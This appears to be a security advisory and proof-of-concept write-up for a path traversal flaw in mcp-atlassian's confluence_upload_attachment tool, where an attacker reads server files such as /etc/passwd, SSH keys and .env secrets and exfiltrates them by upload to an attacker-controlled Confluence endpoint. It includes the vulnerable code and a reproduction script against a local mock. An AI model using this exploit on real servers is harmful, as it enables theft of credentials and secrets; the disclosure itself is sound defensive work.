
Proof-of-concept exploit for arbitrary file read in mcp-atlassian via path traversal in confluence_upload_attachment, with analysis and reproduction scripts.
Severity: High (CVSS 8.6)
CWE: CWE-22 — Path Traversal
Affected: sooperset/mcp-atlassian < 0.22.0
Fixed in: 0.22.0
Advisory: GHSA-p6hp-93wp-fh6p
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77262
Credit: Romain Deperne
The confluence_upload_attachment MCP tool passes its file_path argument directly to open(file_path, "rb") with no path validation. An attacker who can invoke the tool reads arbitrary files from the server filesystem and exfiltrates them via multipart upload to an attacker-controlled Confluence endpoint. The default streamable-http transport binds with no authentication, making this remotely exploitable without credentials.
0.0.0.0This is the read-side symmetric twin of the previously patched GHSA-xjgw-4wvw-rgm4 — the v0.17.0 fix only covered the write/download path. The upload path was left unguarded.
mcp-atlassian had already received a path traversal fix in v0.17.0 (GHSA-xjgw-4wvw-rgm4), which patched the write path — downloading attachments to local disk. My hypothesis: when a fix is applied to one direction of a symmetric operation, the other direction is often missed.
Reviewing the open( call sites in attachments.py showed that the download path called validate_safe_path(local_path) before opening a file, while the upload path did not. The two directions had inconsistent path validation.
The tool definition confirmed it: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] with no pattern= constraint, no validator, nothing. The field is literally documented as accepting an absolute path with no restriction.
I reproduced it end-to-end: spawned the real mcp-atlassian server process, drove it with an MCP stdio client (mcp.ClientSession), pointed it at a local mock Confluence HTTP stub, and invoked confluence_upload_attachment with file_path=/etc/passwd. The mock server logged the full /etc/passwd content in the multipart body. Two full reproduction runs, both logged in the PoC files.
The default HOST=0.0.0.0 binding with no auth makes this remotely exploitable without credentials in the default deployment.
File: src/mcp_atlassian/confluence/attachments.py, line 477
with open(file_path, "rb") as fp: # ← file_path is attacker-controlled
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
Tool definition (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# No pattern=, no validator, no validate_safe_path()
The asymmetry with the patched download path:
# attachments.py:223 — PATCHED (download path)
validate_safe_path(local_path) # ← guard added in v0.17.0
open(local_path, "wb")
# attachments.py:477 — VULNERABLE (upload path)
open(file_path, "rb") # ← no guard, missed in v0.17.0
The v0.17.0 patch for GHSA-xjgw-4wvw-rgm4 added validate_safe_path() calls on the write-side (downloading attachments to local disk) but did not audit the read-side (uploading local files to Confluence). The check_write_access decorator is unrelated — it only gates READ_ONLY_MODE.
Default network exposure (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # binds all interfaces
# no auth layer in streamable-http transport
Fully reproduced end-to-end against a local HTTP stub simulating the Confluence API. See mcp_client.py, mock_confluence.py, and poc_run1.sh.
# poc_run1.sh — reads /etc/passwd via confluence_upload_attachment
# 1. Start mock Confluence endpoint
python mock_confluence.py &
# 2. Invoke MCP tool with path traversal payload
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → /etc/passwd contents appear in mock_confluence.py log
/etc/passwd, SSH keys, .env, application secrets)streamable-http transport binds 0.0.0.0, no auth; any network-reachable attacker can invoke MCP tools directly